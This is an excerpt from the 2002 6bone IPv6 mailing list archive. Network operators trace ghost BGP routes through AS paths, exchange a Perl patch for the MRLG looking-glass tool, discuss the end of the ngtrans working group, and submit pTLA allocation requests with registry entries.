> We know its not 6830, right Roger? And most likely not Edisontel, right Edisontel?
> 
> 6969 HE.NET
> 14277 NOKIA
> 8002 STEALTH
> 
> The other route-paths are long.
> They all end with STEALTH before they reach SICS.
> I dont believe the ones we peer with are generating these routes so I have skipped those (but you never know).
> 
> 33 DEC.com
> 10318 LACNIC.net
> 12199  <- Nonexisting, who is using this?

6bone whois:
----
ipv6-site:    UUNET-US
origin:       AS12199
----

ARIN whois:
----
UUNET Global Research & Development (ASN-UUNET-RD-AS)
   3060 Williams Drive
   Fairfax, VA 22031
   US

   Autonomous System Name: UUNET-RD-AS
   Autonomous System Number: 12199
----

> 145 MCI
> 7580 TRUMPET.com.au
> 10566 Viagenie
> 5408 GRNET.gr
> 2549 LACNIC.net
> 109 CISCO
> 5539 SPACE.net
> 8379 EUROCYBER.net
> 1275 C&W ecrc.de
> 
> Its probably not Viagenie, nor Cisco (god forbid), nor Space, nor MCI, nor Eurocyber?
> DEC, LACNIC, GRNET, C&W, TRUMPET and as12199 is left.
> 
> As you say John, OS and version if you are announcing ghost-routes please.
> 
> 
>    Network          Next Hop            Metric LocPrf Weight Path
> * i2001:2F8::/35    3FFE:82B0:0:1:1::5
>                                                   100      0 6830 6939 14277 8002 1654 i
> *                   2001:750:E::A                          0 15589 6939 14277 8002 1654 i


route-server.ndsoftwarenet.net> show ipv6 bgp 2001:2F8::/35
BGP routing table entry for 2001:2f8::/35
Paths: (2 available, best #2, table Default-IP-Routing-Table)
  Not advertised to any peer
  5408 8002 1654
    3ffe:81f1:0:1::1 from 3ffe:81f1:0:1::1 (213.91.4.3)
      Origin IGP, metric 700, localpref 100, valid, internal
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Wed Aug 14 20:45:52 2002

  9044 8002 1654
    3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
    (fe80::260:97ff:fe0c:9803)
      Origin IGP, metric 700, localpref 100, valid, internal, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Wed Aug 14 20:45:52 2002

route-server.ndsoftwarenet.net>


Best Regards,

Nicolas DEFFAYET

> ----- Original Message -----
> From: "John Fraizer" <tvo@EnterZone.Net>
> To: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
> Cc: "'Gert Doering'" <gert@space.net>; "Jørgen Hovland" <jorgen@hovland.cx>; <6bone@mailman.isi.edu>; <staff@sunet.se>
> Sent: Wednesday, August 14, 2002 10:08 PM
> Subject: RE: [6bone] SUNET announcing ALL IPv6 routes
> 
> 
> >
> > On Wed, 14 Aug 2002, Jorgensen, Roger wrote:
> >
> > > Hi,
> > >
> > > Got some feedback from sunet about this and seems like they've /dev/null'ed
> > > the IPv4 IP for their endpoint as a temporarly workaround for now.
> > > Thanks for the help SUNET!:)
> > >
> > >
> > > Next issue, now I think we have alot of ghost routes to fight...
> > >
> > >
> > > ---
> > > Roger Jorgensen (rjorgensen@upctechnology.com)
> >
> >
> > Cool.  That we can do but, in the process, we need to document what router
> > platform/code version the people sending the ghost routes are
> > running.  This is a very important operational issue, more important that
> > actually getting the original announcements to stop.
> >
> > If you are an operator who peers with someone that is found to be
> > ORIGINATING the ghost routes, please, find out what code they're running
> > and let the list know.  This "bug" has bitten us too many times already
> > and needs to be squashed.
> >
> > If we compile a list of "bad code", folks will know to avoid using that
> > code and/or peering with folks using that code.
> >
> > The root problem will never get fixed until we take measures to document
> > it.
> >
> >
> >
> > ---
> > John Fraizer              | High-Security Datacenter Services |
> > EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> > http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
> >
> >
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone



From wimbie@surfnet.nl Wed Aug 14 14:34:53 2002
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To: Jeff Barrow <jeffb@netc.com>
cc: John Fraizer <tvo@EnterZone.Net>, 6bone@mailman.isi.edu
Subject: Re: [6bone] 2001:470::/35 ghost routes. 
In-reply-to: Your message of "Wed, 14 Aug 2002 14:18:11 CDT."
             <Pine.LNX.4.33L0.0208141407250.5180-200000@netc.netc.com> 
Organisation: SURFnet bv / netwerkdiensten
Address: Radboudburcht, P.O. Box 19035, 3501 DA Utrecht, NL
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==> From: Jeff Barrow

> Try this patch... and in the cfg file, add
> 	login_user => 'username',
> to the $::Routers entry for hosts that need a username.
> 
> I don't have any routers that need usernames to test this with, so
> feedback is welcome. :)

Thanks for the patch. Tried it, but it didn't work. However using your
patch I was able to get it to work. While looking at the man page of
Net::Telnet I noticed there was the login command. Using that instead
of cmd did the trick for me. So I now have the following (4.2.1 Beta):

  $t->open ($server);
  if (defined $login_user) {
        $t->login ($login_user, $login_pass);
  }
  else {
        $t->cmd ($login_pass);
  }

> Can't help you on the fastping tho; it never did compile on my Slackware
> 7.0 box either; I just configured it to use the normal system /bin/ping
> instead.  Doesn't seem to hurt anything.

Will give it I try. Already though it wasn't a crucial part for the lg.

> btw, great program, John!

What would be even cooler (for me at least) is the following. Starting
with IOS 12.0(22)S we have ssh support over IPv6. And you can supply a
simple command. Just tested it, and it seems to work fine. So you could
replace the Net::Telnet by open (ROUTER, "ssh my-router somecommand");

-Wim -/- SURFnet


From tvo@EnterZone.Net Wed Aug 14 14:42:29 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Edward Brocklesby <ejb@sdf.lonestar.org>
cc: =?iso-8859-1?q?J=F8rgen=20Hovland?= <jorgen@hovland.cx>,
   "Jorgensen, Roger" <RJorgensen@upctechnology.com>,
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Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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On Wed, 14 Aug 2002, Edward Brocklesby wrote:

> 
> > As you say John, OS and version if you are announcing ghost-routes please.
> 
> It would be nice if someone would set about collecting this information from 
> ASs (who might not be reading the list.)  I would be happy too (this problem 
> annoys me greatly), but if someone else in a more official position feels 
> they would rather do it, that is probably better ;-)
> 
> Regards,
> 	-larne.

I propose that if they're not reading this list, that is a problem.  The
6bone list is the defacto world-wide v6 equivilent of NANOG, etc.

If I'm mistaken, someone please direct me to the appropriate list.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From tvo@EnterZone.Net Wed Aug 14 14:45:53 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Wim Biemolt <Wim.Biemolt@surfnet.nl>
cc: Jeff Barrow <jeffb@netc.com>, 6bone@mailman.isi.edu
Subject: Re: [6bone] 2001:470::/35 ghost routes. 
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On Wed, 14 Aug 2002, Wim Biemolt wrote:

> > btw, great program, John!
> 
> What would be even cooler (for me at least) is the following. Starting
> with IOS 12.0(22)S we have ssh support over IPv6. And you can supply a
> simple command. Just tested it, and it seems to work fine. So you could
> replace the Net::Telnet by open (ROUTER, "ssh my-router somecommand");
> 


Write the patch to check if someone has set the "ssh" flag in the config
file for a particular router and then use ssh to connect to it.  I'll
include this in the next release.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From nighthawk@unrealircd.com Wed Aug 14 15:00:16 2002
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From: Edward Brocklesby <ejb@sdf.lonestar.org>
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To: John Fraizer <tvo@EnterZone.Net>
Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
Date: Wed, 14 Aug 2002 23:00:08 +0100
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John Fraizer:
> I propose that if they're not reading this list, that is a problem.  

Well, maybe I am overly cynical for perfectly-organised internet community.  
If you prefer, let's see who answer these questions without any prodding.
I try only to find the most efficient way to find these answers with least 
reliance on assumptions, however true they may be.

Hopefully this method does work, because obviously there is some problem. I 
would think it is in the interests of 6bone community to attempt to correct 
problems, and so this is there suggestions come from. Feel free to point out 
the flaws you see in these suggestions, and I shall not suggest them any 
longer ;-).

Regards,
	-larne.

(PS. Please understand I am only trying to solve problem, if you think that I 
don't have the solution then do say, otherwise it wastes everyone's time.)

From tvo@EnterZone.Net Wed Aug 14 15:47:57 2002
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From: John Fraizer <tvo@EnterZone.Net>
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Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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On Wed, 14 Aug 2002, Edward Brocklesby wrote:

> John Fraizer:
> > I propose that if they're not reading this list, that is a problem.  
> 
> Well, maybe I am overly cynical for perfectly-organised internet community.  
> If you prefer, let's see who answer these questions without any prodding.
> I try only to find the most efficient way to find these answers with least 
> reliance on assumptions, however true they may be.
> 
> Hopefully this method does work, because obviously there is some problem. I 
> would think it is in the interests of 6bone community to attempt to correct 
> problems, and so this is there suggestions come from. Feel free to point out 
> the flaws you see in these suggestions, and I shall not suggest them any 
> longer ;-).
> 
> Regards,
> 	-larne.
> 
> (PS. Please understand I am only trying to solve problem, if you think that I 
> don't have the solution then do say, otherwise it wastes everyone's time.)


Oh, no!  I wasn't faulting anything you're doing!  I want to see the list
as much as anyone else.  I was simply adding that IMHO, if someone is
running in the v6 default-free-zone, they should be monitoring the 6bone
mailing list.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From nighthawk@unrealircd.com Wed Aug 14 16:18:48 2002
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From: Edward Brocklesby <ejb@sdf.lonestar.org>
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To: John Fraizer <tvo@EnterZone.Net>
Subject: Strange/ghost routes from AS 33? (Was: Re: [6bone] SUNET announcing ALL IPv6 routes)
Date: Thu, 15 Aug 2002 00:18:41 +0100
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John Fraizer:
> [...] they should be monitoring the 6bone
> mailing list.

Well, all I think of is that if there's one problem, it's 
best not to take chances with other problems. They "should" 
be at least keeping up with the list, but they also "should" 
not be running an ancient version of zebra .. if you can see
where I'm coming from here ;-) (I'm not trying to implicate 
anyone with that, just taking an example.)

Anyway.  I'd simply suggest to Cc: listed contact for the ASN 
when sending mail to the list regarding it- that way one can 
be sure that it's being seen. (Well, maybe mail to that address 
isn't being read, but.. maybe world will explode tomorrow, you
can only have so much fault-tolerance ;-)

--

Having said that, I am Cc'ing this mail to the listed contact 
for AS33 (DEC-WRL-ASN, Digital Equipment Corporation.) It seems 
we have a lot of ghost routes in our bgp table, which seem to 
originate from AS33:

24643 6830 2012 6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
                6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
                6939 2497 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
          24765 3320  293 33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654
                          33 10318 12199 145 7580 10566 5408 2549 109 5539 8379 1275 8002 1654

Can you possibly shed any light on this, given today's discussion
about it on the list (particularly with reference to router software
in use at this speaker)? They seem to have appeared after the invalid
routes from AS 1654 were withdrawn earlier.

Regards,
	-larne.

From fink@es.net Wed Aug 14 18:30:58 2002
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To: Rik van Riel <riel@conectiva.com.br>
From: Bob Fink <fink@es.net>
Subject: RE: [6bone] pTLA request by Euro6IX project for exchange 
  experimentation - review closes 3 Sep 2002
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Rik,

At 05:01 PM 8/14/2002 -0300, Rik van Riel wrote:
>On Wed, 14 Aug 2002, Michel Py wrote:
> > >> Joao Luis Silva Damas wrote:
> > >> Come on, these two cases were OK up to the point where
> > >> people could not  get any other type of IPv6 addresses
> > >> but now they are just normal businness.
> >
> > >> Rik van Riel wrote:
> > >> Yeah right.  I doubt ipv6 is that widely
> > >> available already.
> >
> > You might want to read the following thread on the v6ops and/or ngtrans
> > mailing list, started this morning: (ngtrans) v6 considered operational
> >
> > http://ops.ietf.org/lists/v6ops/v6ops.2002/msg00000.html
>
>That's nice and all, but I'd hate it if that would mean
>a bunch of IX folks would declare the 6bone obsolete and
>I'd be without ipv6 connectivity until my ISP starts
>offering it, some undetermined time into the future.
>
>6bone is here to stay for quite a while more...

The original charge for the 6bone came through ngtrans and RFC2471. When we 
started a re-chartering of ngtrans Randy did not want it there anymore.

Subsequently the RIR heads told me it was not their job to ever set a 
sunset on the 6bone, rather it was the IETF. This makes sense to me.

Anwyay, stay tuned as all these things evolve. I'm glad you think that the 
6bone still has a place; so do I.


Bob


From joao@ripe.net Thu Aug 15 00:44:54 2002
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From: Joao Luis Silva Damas <joao@ripe.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] the end of ngtrans
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Hi,

On Wed, 14 Aug 2002, Michel Py wrote:

> 6boners,
>
> > Randy Bush wrote:
> > hence it is planned for ngtrans be closed and a new
> > group, v6ops, be chartered
>
> This creates an interesting situation as the 6bone was informally
> operated with oversight from the "NGtrans" (IPv6 Transition) Working
> Group of the IETF.
>
> Thoughts, anyone?
>

Honestly, I believe it is a good thing. It clearly sets a new step.

Note that neither this nor my previous mails suggest that the 6Bone should
stop existing now. There is definitely a role for networks which are
currently already using IPv6 addresses in creating a certain core network.

What I don't think makes sense anymore is to allocate new 6Bone blocks for
purposes that are just plain natural deployment.

Bob, from your message I had the feeling you are mixing address blocks
with connectivity. They are not the same.

No one is going to be able to tell anyone else that they should stop
exchanging traffic. The peering and transit relationships will and should
remain and their evolution should only be dictated by normal network
evolution (new or bigger ISPs, some old ones going away, etc)

The important point here is that IPv6 is now deployable and it is time to
stop allocating new blocks of addresses for plain operational purposes.
Just in the same way you are approached by people interested in using
IPv6, I talk to people in companies who just can't justify looking at it
seriously while it has the "experimental" tag attached to it.

The 6Bone list should definitely stay, it is a very valuable resource for
coordination and education. I don't think anyone will question that.

And finally, I am glad to have been able to change the subject as I have
nothing against the Euro6 people and it I would hate to have
misunderstandings.

Cheers,
Joao


From old_mc_donald@hotmail.com Thu Aug 15 11:56:18 2002
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-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On Behalf Of Rik van Riel

RvR says >Yeah right.  I doubt ipv6 is that widely available already.

True, and I'm having difficulty explaining to so called computer/network
'eXperts'
That ipv6 is going to happen (I say happen because it hasn't for them),
and that it is important. 'You have an ipv6 address, yeah right' - is
there answer too! - [The whole truth I neglected to mention (and
therefore a plus in your argument)is that being green to this I don't
really know what to do with it, Freenet6 supplies me with it, it runs
out a week later, I renew it. Microsoft supplied me the stack. I can't
even ping6 anyone for god sake, ooh, another reason maybe why its not so
popular at the moment.

RvR says >IPv6 just isn't commonplace yet.

No, but if I can (sort of) get it, who can't.

regards,

Gav...

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone


 

---
Outgoing mail is certified Virus Free.Gavin..
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.381 / Virus Database: 214 - Release Date: 8/2/02
 

From riel@conectiva.com.br Thu Aug 15 12:08:41 2002
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 - review closes 3 Sep 2002
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On Thu, 15 Aug 2002, Gav wrote:

> RvR says >IPv6 just isn't commonplace yet.
>
> No, but if I can (sort of) get it, who can't.

I agree with this. At the moment pretty much everybody
can get their ipv6 addresses via 6bone.

My point is that for many people, 6bone is the only way
to get ipv6 addresses, so the "ipv6 is available, 6bone
is obsolete" statement I think I've seen couldn't be
further from the truth.

kind regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From jeffb@netc.com Thu Aug 15 13:09:56 2002
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To: Wim Biemolt <Wim.Biemolt@surfnet.nl>
cc: John Fraizer <tvo@EnterZone.Net>, <6bone@mailman.isi.edu>
Subject: Re: [6bone] 2001:470::/35 ghost routes. 
In-Reply-To: <65930.1029360820@gigant.surfnet.nl>
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  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---1580397906-2138162354-1029442252=:4851
Content-Type: TEXT/PLAIN; charset=US-ASCII


Ok... updated patch file included (oops, my previous posting didn't go
through)

This is the patch against mrlg-4.2.1 to add login/username capability to
mrlg.  Any server that requires a username, you just add the
		login_user => 'username'
field to the record in the config file.

John, might I suggest you either place this patch file in your ftp
directory or go ahead and patch your copy?

On Wed, 14 Aug 2002, Wim Biemolt wrote:
> What would be even cooler (for me at least) is the following. Starting
> with IOS 12.0(22)S we have ssh support over IPv6. And you can supply a
> simple command. Just tested it, and it seems to work fine. So you could
> replace the Net::Telnet by open (ROUTER, "ssh my-router somecommand");

This exercise left up to someone who uses ssh in perl more than I do. :)

--Jeff Barrow, Internet Connections, Inc.


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---1580397906-2138162354-1029442252=:4851--

From michel@arneill-py.sacramento.ca.us Fri Aug 16 08:23:38 2002
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Subject: RE: [6bone] the end of ngtrans
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> Joao Luis Silva Damas wrote:
> And finally, I am glad to have been able to change the
> subject as I have nothing against the Euro6 people and
> it I would hate to have misunderstandings.

I don't think there are any misunderstandings about Euro6IX' request. I
have not heard anything but positive comments, and it has generated a
lot more interest than the typical apathy associated with pTLA requests.

Michel.


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Date: Fri, 16 Aug 2002 17:24:54 +0200
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Good

Joao

At 8:23 -0700 16/8/02, Michel Py wrote:
>  > Joao Luis Silva Damas wrote:
>>  And finally, I am glad to have been able to change the
>>  subject as I have nothing against the Euro6 people and
>>  it I would hate to have misunderstandings.
>
>I don't think there are any misunderstandings about Euro6IX' request. I
>have not heard anything but positive comments, and it has generated a
>lot more interest than the typical apathy associated with pTLA requests.
>
>Michel.


From paul@clubi.ie Sat Aug 17 11:33:16 2002
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Subject: Re: [6bone] 2001:470::/35 ghost routes. 
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while we're doing feature requests for MRLG, can you have it do the 
traceroutes on the router listed in the drop down list, rather than 
the machine MRLG is running on?

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
As you will see, I told them, in no uncertain terms, to see Figure one.
		-- Dave "First Strike" Pare


From dr@cluenet.de Sat Aug 17 18:11:52 2002
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Date: Sun, 18 Aug 2002 03:11:47 +0200
From: Daniel Roesen <dr@cluenet.de>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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On Wed, Aug 14, 2002 at 10:12:20PM +0200, Jørgen Hovland wrote:
> 1275 C&W ecrc.de

1275 is _not_ C&W.

$ arin as 1275
Cable & Wireless ECRC (ASNBLK-CW-ECRC)
   Autonomous System Name: CW-ECRC
   Autonomous System Block: 1270 - 1275

ARIN's database is broken although multiple attempts have been made
to have them fix that.

C&W Germany (former ECRC) is AS1273. AS1270 was formerly used by UUnet
Germany. You have to ask RIPE for accurate info on the 1270-1275 range:

aut-num:      AS1275
as-name:      UNSPECIFIED
descr:        DFN-IP service and DFN customer networks


Best regards,
Daniel

From tvo@EnterZone.Net Sat Aug 17 20:54:18 2002
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From: John Fraizer <tvo@EnterZone.Net>
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cc: Wim Biemolt <Wim.Biemolt@surfnet.nl>, Jeff Barrow <jeffb@netc.com>,
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If you specify cisco => '1' for the router specified, it DOES do the
traceroute from the router listed in the drop down list.  



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Sat, 17 Aug 2002, Paul Jakma wrote:

> while we're doing feature requests for MRLG, can you have it do the 
> traceroutes on the router listed in the drop down list, rather than 
> the machine MRLG is running on?
> 
> regards,
> -- 
> Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
> 	warning: do not ever send email to spam@dishone.st
> Fortune:
> As you will see, I told them, in no uncertain terms, to see Figure one.
> 		-- Dave "First Strike" Pare
> 


From dragon@tdoi.org Sun Aug 18 04:08:25 2002
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References: <Pine.LNX.4.21.0208141603570.19687-100000@Overkill.EnterZone.Net> <011e01c243ce$e5fde1a0$0200000a@hera> <20020818031147.A1307@homebase.cluenet.de>
Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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----- Original Message -----
From: "Daniel Roesen" <dr@cluenet.de>
To: <6bone@mailman.isi.edu>
Sent: Sunday, August 18, 2002 3:11 AM
Subject: Re: [6bone] SUNET announcing ALL IPv6 routes


> On Wed, Aug 14, 2002 at 10:12:20PM +0200, Jørgen Hovland wrote:
> > 1275 C&W ecrc.de
>
> 1275 is _not_ C&W.
>
> $ arin as 1275
> Cable & Wireless ECRC (ASNBLK-CW-ECRC)
>    Autonomous System Name: CW-ECRC
>    Autonomous System Block: 1270 - 1275
>
> ARIN's database is broken although multiple attempts have been made
> to have them fix that.
>
> C&W Germany (former ECRC) is AS1273. AS1270 was formerly used by UUnet
> Germany. You have to ask RIPE for accurate info on the 1270-1275 range:
>
> aut-num:      AS1275
> as-name:      UNSPECIFIED
> descr:        DFN-IP service and DFN customer networks
>

AS1275 is used for the 6bone pTLA of JOIN Project
http://www.join.uni-muenster.de/
contact: join@uni-muenster.de

AS680 is the production ASN of DFN
http://www.6win.dfn.de/

>
> Best regards,
> Daniel
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>
>



From nicolas.deffayet@ndsoftware.net Sun Aug 18 14:04:10 2002
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Hello,

I search IPv6 feed for my server:

---
Path: fr.ndsoftwarenet.com
Server: newsfeed.fr.ndsoftwarenet.com
Accept from: ns3.ndsoftware.net (3ffe:81f1:12:1::3)
Feed to: newsfeed.fr.ndsoftwarenet.com (3ffe:81f1:12:3:8::2)
Contact: newsmaster@ndsoftwarenet.com
Hierarchies: fr.*,uk.*,de.*,comp.*,be.*,news.*
---

If anyone want to set up a peering with newsfeed.fr.ndsoftwarenet.com,
please contact me.

My server is open in read only to all IPv6 users.

Thanks

Best Regards,

Nicolas DEFFAYET


From paul@clubi.ie Sun Aug 18 14:49:35 2002
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Subject: Re: [6bone] 2001:470::/35 ghost routes. 
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On Sat, 17 Aug 2002, John Fraizer wrote:

> 
> If you specify cisco => '1' for the router specified, it DOES do the
> traceroute from the router listed in the drop down list.  

but what if the remote router is zebra? :(

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
George Orwell 1984.  Northwestern 0.
		-- Chicago Reader 10/15/82


From nicolas.deffayet@ndsoftware.net Sun Aug 18 15:17:47 2002
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Subject: Re: [6bone] 2001:470::/35 ghost routes.
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Paul Jakma <paul@clubi.ie>
Cc: John Fraizer <tvo@enterzone.net>, 6bone@mailman.isi.edu
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On Sun, 2002-08-18 at 23:57, Paul Jakma wrote:
> On Sat, 17 Aug 2002, John Fraizer wrote:
> 
> > 
> > If you specify cisco => '1' for the router specified, it DOES do the
> > traceroute from the router listed in the drop down list.  
> 
> but what if the remote router is zebra? :(

You can't.

The only way with zebra is create a user zebra with for shell vtysh.
And login with telnet with this user.

Best Regards,

Nicolas DEFFAYET


From tvo@EnterZone.Net Sun Aug 18 22:14:58 2002
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Date: Mon, 19 Aug 2002 01:14:43 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Paul Jakma <paul@clubi.ie>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] 2001:470::/35 ghost routes. 
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On Sun, 18 Aug 2002, Paul Jakma wrote:

> On Sat, 17 Aug 2002, John Fraizer wrote:
> 
> > 
> > If you specify cisco => '1' for the router specified, it DOES do the
> > traceroute from the router listed in the drop down list.  
> 
> but what if the remote router is zebra? :(
> 
> regards,
> -- 
> Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A

If the remote router is Zebra, there is NOT any "built-in" traceroute
function for traceroute.  If you want to set up something SPECIFIC to your
site, the source for MRLG is very well commented and you can build a site
specific MRLG that will do what you wish though.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From fink@es.net Mon Aug 19 08:48:13 2002
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Date: Mon, 19 Aug 2002 08:47:59 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: Giacomo Cariello <jwk@bug.it>
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Subject: [6bone] pTLA request BUI - review closes 3 September 2002
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6bone Folk,

BUI has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 3 
September 2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?BUI>

<http://www.ipv6.bug.it>


BUI has received formal permission from ModenaOnLine to use their ASN for 
6bone purposes.


Thanks,

Bob

===
>Date: Fri, 02 Aug 2002 14:11:53 +0200
>To: Bob Fink <fink@es.net>
>From: Giacomo Cariello <jwk@bug.it>
>Subject: pTLA allocation request (reprise)
>
>I hope this looks better. I have modified the request to reflect the 
>actual separation between ModenaOnLine and BUI.
>They offer us free IPv4 connectivity, but we manage IPv6 network 
>indipendently.
>I have also moved description of our services to a separate page.
>
>The following rules apply to qualify for a 6Bone pTLA allocation. It
>should be recognized that holders of 6Bone pTLA allocations are
>expected to provide production quality backbone network services for
>the 6Bone.
>1. The pTLA Applicant must have a minimum of three (3) months
>qualifying experience as a 6Bone end-site or pNLA transit. During
>the entire qualifying period the Applicant must be operationally
>providing the following:
>
>We have been online on 6bone since July, 25th 2000.
>We have recently completed the necessary steps to complete registry 
>information.
>
>a. Fully maintained, up to date, 6Bone Registry entries for their
>ipv6-site inet6num, mntner, and person objects, including each
>tunnel that the Applicant has:
>
>inet6num:     3FFE:1001:220::/48
>netname:      BUI
>descr:        BSD Users Group Italia testing network
>country:      IT
>admin-c:      GC4-6BONE
>tech-c:       GC4-6BONE
>mnt-by:       BUI
>changed:      jwk@bug.it 20020705
>source:       6BONE
>
>mntner:       BUI
>descr:        BSD Users Group Italia
>admin-c:      GC4-6BONE
>tech-c:       GC4-6BONE
>upd-to:       jwk@bug.it
>auth:         CRYPT-PW *
>mnt-by:       BUI
>changed:      jwk@bug.it 20020722
>source:       6BONE
>
>ipv6-site:    BUI
>origin:       AS21394
>descr:        BSD Users Group Italia test network
>prefix:       3FFE:1001:220::/48
>application:  ping hero.bug.it
>application:  www www.ipv6.bug.it
>tunnel:       IPv6 in IPv4 hero.bug.it -> 6bone-gw3.cselt.it TILAB BGP4+
>contact:      GC4-6BONE
>contact:      MIC1-6BONE
>url:          http://www.ipv6.bug.it
>notify:       noc@bug.it
>mnt-by:       BUI
>changed:      jwk@bug.it 20020722
>changed:      jwk@bug.it 20020731
>changed:      jwk@bug.it 20020802
>source:       6BONE
>
>person:       Giacomo Cariello
>address:      via d'Acquapendente, 65
>address:      35100 - Padova
>address:      Italy
>phone:        +39 348 3043150
>fax-no:       +39 348 3043150
>e-mail:       jwk@bug.it
>nic-hdl:      GC4-6BONE
>notify:       jwk@bug.it
>changed:      jwk@bug.it 20020129
>source:       6BONE
>
>person:       Michele Gandolfi
>address:      via delle Carmelitane Scalze, 7
>address:      41100 - Modena
>address:      Italy
>phone:        +39 059 222328
>fax-no:       +39 059 4391174
>e-mail:       mic@datas.it
>nic-hdl:      MIC1-6BONE
>notify:       mic@datas.it
>changed:      mic@datas.it 20020703
>source:       6BONE
>
>b. Fully maintained, and reliable, BGP4+ peering and connectivity
>between the Applicant's boundary router and the appropriate
>connection point into the 6Bone. This router must be IPv6
>pingable. This criteria is judged by members of the 6Bone
>Operations Group at the time of the Applicant's pTLA request.
>
>Our router to the backbone has proper BGP4+ link with TILAB.
>Our workgroup has been connected through TILAB (formerly CSELT) for over 
>two years now.
>
>c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>entries for the Applicant's router(s) and at least one host
>system.
>
>Router system:
>
># host -t AAAA hero.bug.it
>hero.bug.it  AAAA    3FFE:1001:220:0:0:0:0:1
># host -t PTR 
>1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.2.0.1.0.0.1.e.f.f.3.ip6.int
>1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.2.0.1.0.0.1.e.f.f.3.ip6.int 
>PTR     hero.bug.it
>
>Host system:
>
># host -t AAAA glock.bug.it
>glock.bug.it            AAAA    3FFE:1001:220:1:0:0:0:E
># host -t PTR 
>e.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.0.2.2.0.1.0.0.1.e.f.f.3.ip6.int
>e.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.0.2.2.0.1.0.0.1.e.f.f.3.ip6.int 
>PTR     glock.bug.it
>
>d. A fully maintained, and reliable, IPv6-accessible system
>providing, at a mimimum, one or more web pages, describing the
>Applicant's IPv6 services. This server must be IPv6 pingable.
>
>We have a IPv6-aware webserver running, it is pingable, and it hosts a 
>descriptive webpage at http://www.ipv6.bug.it/.
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>"production-quality" 6Bone backbone service. Applicants must
>provide a statement and information in support of this claim.
>This MUST include the following:
>a. A support staff of two persons minimum, three preferable, with
>person attributes registered for each in the ipv6-site object
>for the pTLA applicant.
>
>Currently GC4-6BONE and MIC1-6BONE. More to come.
>
>I (GC4-BONE) am the technical and administrative coordinator of BUI. I 
>will coordinate IPv6 network operations.
>Our network partner for IPv4 connectivity is DATAS-NOC (AS21394). They are 
>currently hosting our equipment for free.
>MIC1-6BONE is also technical director at DATAS-NOC, so he provides us with 
>support for what regards IPv4.
>
>b. A common mailbox for support contact purposes that all support
>staff have acess to, pointed to with a notify attribute in the
>ipv6-site object for the pTLA Applicant.
>
>noc@bug.it
>
>3. The pTLA Applicant MUST have a potential "user community" that
>would be served by its becoming a pTLA, e.g., the Applicant is a
>major provider of Internet service in a region, country, or focus
>of interest. Applicant must provide a statement and information in
>support this claim.
>
